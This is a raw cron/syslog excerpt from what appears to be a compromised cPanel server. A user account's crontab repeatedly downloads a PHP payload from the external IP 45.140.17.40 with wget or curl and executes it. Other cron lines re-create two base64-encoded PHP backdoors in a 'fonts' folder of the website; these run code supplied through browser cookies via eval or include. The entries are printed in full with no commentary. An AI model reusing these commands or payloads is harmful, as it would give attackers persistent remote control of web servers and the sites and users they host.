Sep 20 15:57:01 ip-184-168-122-23 CROND[23010]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:58:01 ip-184-168-122-23 CROND[23336]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 15:58:01 ip-184-168-122-23 CROND[23338]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 15:58:01 ip-184-168-122-23 CROND[23339]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:58:01 ip-184-168-122-23 CROND[23340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:58:01 ip-184-168-122-23 CROND[23341]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:59:01 ip-184-168-122-23 CROND[23584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 15:59:01 ip-184-168-122-23 CROND[23586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 15:59:01 ip-184-168-122-23 CROND[23589]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 15:59:01 ip-184-168-122-23 CROND[23587]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23880]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23881]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23882]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23883]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23884]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:00:01 ip-184-168-122-23 CROND[23888]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:00:01 ip-184-168-122-23 CROND[23891]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23892]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:00:01 ip-184-168-122-23 CROND[23893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:01:01 ip-184-168-122-23 CROND[24141]: (root) CMD (run-parts /etc/cron.hourly)
Sep 20 16:01:01 ip-184-168-122-23 CROND[24142]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24141]: starting 0anacron
Sep 20 16:01:01 ip-184-168-122-23 CROND[24145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:01:01 ip-184-168-122-23 CROND[24150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 20 16:01:01 ip-184-168-122-23 CROND[24146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:01:01 ip-184-168-122-23 CROND[24152]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[24161]: finished 0anacron
Sep 20 16:02:01 ip-184-168-122-23 CROND[24470]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:02:01 ip-184-168-122-23 CROND[24472]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:02:01 ip-184-168-122-23 CROND[24475]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:02:01 ip-184-168-122-23 CROND[24473]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:02:01 ip-184-168-122-23 CROND[24474]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:03:01 ip-184-168-122-23 CROND[24697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:03:01 ip-184-168-122-23 CROND[24698]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:03:01 ip-184-168-122-23 CROND[24699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:03:01 ip-184-168-122-23 CROND[24700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:04:01 ip-184-168-122-23 CROND[24942]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:04:01 ip-184-168-122-23 CROND[24944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:04:01 ip-184-168-122-23 CROND[24945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:04:01 ip-184-168-122-23 CROND[24946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:04:01 ip-184-168-122-23 CROND[24947]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:05:01 ip-184-168-122-23 CROND[25278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:05:01 ip-184-168-122-23 CROND[25280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:05:01 ip-184-168-122-23 CROND[25282]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 20 16:05:01 ip-184-168-122-23 CROND[25281]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 20 16:05:01 ip-184-168-122-23 CROND[25283]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:05:01 ip-184-168-122-23 CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 20 16:05:01 ip-184-168-122-23 CROND[25287]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:06:01 ip-184-168-122-23 CROND[25515]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:06:01 ip-184-168-122-23 CROND[25517]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:06:01 ip-184-168-122-23 CROND[25519]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:06:01 ip-184-168-122-23 CROND[25518]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:06:01 ip-184-168-122-23 CROND[25520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:07:01 ip-184-168-122-23 CROND[25759]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:07:01 ip-184-168-122-23 CROND[25761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:07:01 ip-184-168-122-23 CROND[25762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:07:01 ip-184-168-122-23 CROND[25763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:08:01 ip-184-168-122-23 CROND[25988]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 20 16:08:01 ip-184-168-122-23 CROND[25990]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:08:01 ip-184-168-122-23 CROND[25992]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:08:01 ip-184-168-122-23 CROND[25997]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:08:01 ip-184-168-122-23 CROND[25995]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 20 16:09:01 ip-184-168-122-23 CROND[26262]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 20 16:09:01 ip-184-168-122-23 CROND[26260]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 20 16:09:01 ip-184-168-122-23 CROND[26261]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 20 16:09:01 ip-184-168-122-23 CROND[26265]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 20 16:09:01 ip-184-168-122-23 CROND[26266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
